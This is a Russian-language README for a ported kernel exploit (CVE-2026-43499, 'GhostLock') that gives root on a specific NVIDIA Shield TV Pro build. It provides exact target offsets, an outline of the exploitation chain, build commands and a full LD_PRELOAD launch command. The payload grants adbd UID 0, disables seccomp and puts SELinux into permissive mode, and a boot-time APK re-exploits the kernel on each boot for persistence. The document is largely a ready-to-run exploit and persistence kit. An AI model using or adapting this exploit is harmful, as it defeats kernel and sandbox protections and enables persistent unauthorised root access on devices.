
Проверенный порт GhostLock CVE-2026-43499 для NVIDIA Shield TV Pro mdarcy 9.2.4
Проверенный arm64-порт эксплойта GhostLock, использующего use-after-free в futex PI
(CVE-2026-43499), для NVIDIA Shield TV Pro 2019 года (mdarcy) под управлением Shield
Experience 9.2.4. Вредоносная нагрузка изменяет учётные данные работающего демона ADB,
поэтому новые ADB-оболочки получают UID 0 без разблокировки загрузчика, стирания
пользовательских данных, установки su или изменения проверяемых разделов.
Это эксплойт для конкретной сборки ядра, предназначенный для авторизованных исследований в области безопасности. Несовпадение или проигранная гонка могут вызвать панику ядра. Не запускайте его на другом fingerprint, ядре, устройстве или ревизии оборудования.
| Поле | Требуемое значение |
|---|---|
| Продукт | NVIDIA Shield TV Pro 2019, mdarcy |
| Fingerprint | NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys |
| Ядро | 4.9.141-tegra-gb6e5605a |
| Уровень патчей Android | 2026-01-05 |
| База ядра | 0xffffff8008080000 (смещение отключено) |
Порт был проверен на заблокированном устройстве с зелёным Verified Boot и включённым dm-verity. Эти механизмы остаются нетронутыми, поскольку эксплойт изменяет только текущее состояние ядра.
После успешного запуска новое подключение сообщает UID/GID 0 как для adbd,
так и для его дочерней оболочки, полный набор возможностей вплоть до capability 37,
отключённый seccomp и SELinux в режиме permissive. Root переживает отключение
ADB-клиента. Он не переживает перезапуск adbd или перезагрузку устройства
самостоятельно.
Для практического сохранения root после перезагрузки без изменения проверяемых
разделов репозиторий включает APK для пользовательских данных. Его неэкспортируемый
приёмник BOOT_COMPLETED запускает недолговечную службу переднего плана, которая
выполняет эксплойт с привязанным хешем один раз за загрузку из непривилегированного
UID приложения и останавливается при выходе исполнителя. После установки внешний
хост не требуется. Внешний сторожевой механизм Podman остаётся доступным как
запасной вариант восстановления. См.
persistence/README.md и
watchdog/README.md.
Это автономная повторная эксплуатация, а не статический патч прошивки: при каждой
загрузке есть короткий интервал, в течение которого adbd всё ещё имеет штатные
учётные данные. Запуск adbd от root до инициализации Android потребовал бы
изменения проверяемой цепочки загрузки, что выходит за рамки данной конструкции
с заблокированным загрузчиком и без стирания данных.
rt_mutex_waiter в стеке ядра.MCAST_BLOCK_SOURCE и перенаправьте
операцию дерева rt-mutex.mm_struct с помощью
сформированной skb-нагрузки.ashmem_misc.fops на фиктивную таблицу, поддерживаемую
унаследованными обработчиками чтения/записи configfs.adbd и проверьте его полный
объект учётных данных.Унаследованный этап физического чтения/записи через pipe-buffer не используется.
Подробные наблюдения по цели и проверенные смещения приведены в
PORT_STATUS.md.
Компилятор — Android NDK r29 (aarch64-linux-android30-clang). Собирайте
напрямую с установленным Linux NDK:
cd exploit
make NDK=/opt/android-ndk-r29
Или соберите предоставленный образ Podman, который загружает официальный архив Linux r29 и проверяет его опубликованный SHA-1 перед извлечением:
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
-v "$PWD:/src:Z" \
-w /src/exploit \
ghostlock-android:ndk-r29 make -B
Вывод:
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761
Сборка для Shield намеренно исключает встроенный демон su и нагрузку с обоев
из эталонного проекта.
Подключитесь через авторизованный сетевой ADB, отправьте релизный артефакт или локальную сборку, затем войдите в ADB-оболочку:
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
exploit/build/preload-mdarcy-9.2.4.so \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell
Запустите это внутри оболочки устройства:
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true
Отключитесь и откройте новый транспорт для проверки:
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'
Нагрузка отказывается повторно срабатывать из уже UID-0 ADB-оболочки, если только
GHOSTLOCK_FORCE_ROOT_TRIGGER=1 не указан намеренно. Не принуждайте это;
привилегированный путь планирования имеет другое поведение PI и может вызвать панику.
Загрузите подписанный релизный APK в
persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk, затем установите и
активируйте его с авторизованного PowerShell ADB-хоста:
./persistence/install.ps1 `
-Target SHIELD_ADDRESS:5555 `
-AdbPath C:/path/to/platform-tools/adb.exe
Установщик изменяет только пользовательские данные и не перезагружает устройство.
При следующем BOOT_COMPLETED приложение проверяет точный fingerprint, ядро и
встроенный хеш нагрузки, записывает свою попытку и вызывает GhostLock из своего
обычного UID приложения. Файловая блокировка, состояние «одна попытка за загрузку»
и 15-минутная задержка между загрузками предотвращают повторные попытки или циклы
перезагрузки. Оно не устанавливает бинарник su. Android показывает уведомление
низкого приоритета Restoring ADB root только пока активен нативный исполнитель;
ожидающий процесс удаляет его при выходе.
См. persistence/README.md для деталей сборки, подписи,
журналов, проверки, восстановления и удаления.
Финальный APK был проверен при остановленном внешнем сторожевом механизме:
счётчик загрузок 134 впервые показал штатный UID-2000/enforcing adbd, а следующий
новый транспорт имел UID/GID 0 с полной маской возможностей 0x3fffffffff,
отключённым seccomp и SELinux в режиме permissive. Служба и уведомление
самостоятельно очистились.
Диагностика ручного запуска синхронно записывается в
/sdcard/Download/log_<timestamp>.txt с запасным вариантом /data/local/tmp.
Загрузочное приложение перенаправляет вывод исполнителя и нагрузки в свой
приватный files/boot.log, читаемый через run-as com.cyberbalsa.ghostlockboot.
Если гонка вызывает панику ядра, состояние до срабатывания предотвращает ещё одну
попытку в этом счётчике загрузок, а 15-минутная задержка сохраняется после
перезагрузки.
exploit/src/: триггер, переиспользование, произвольное чтение/запись и
ограниченный патч учётных данных adbd.exploit/targets/shield-mdarcy-9.2.4/: точная раскладка цели для конкретной сборки.analysis/: вспомогательные инструменты извлечения символов и раскладки ядра.persistence/: загрузочный APK на устройстве, нативный исполнитель и установщик.watchdog/: запасной вариант восстановления на стороне хоста с привязкой хеша.report.md: исходный анализ эталонного порта OPPO, сохранённый для происхождения.Этот порт основан на исследовательской и эксплойтной платформе GhostLock, опубликованной NebuSec, и эталонном порте OPPO PCKM00 от yijiacloud. KernelSnitch встроен на условиях вышестоящего проекта.
Apache-2.0; см. LICENSE.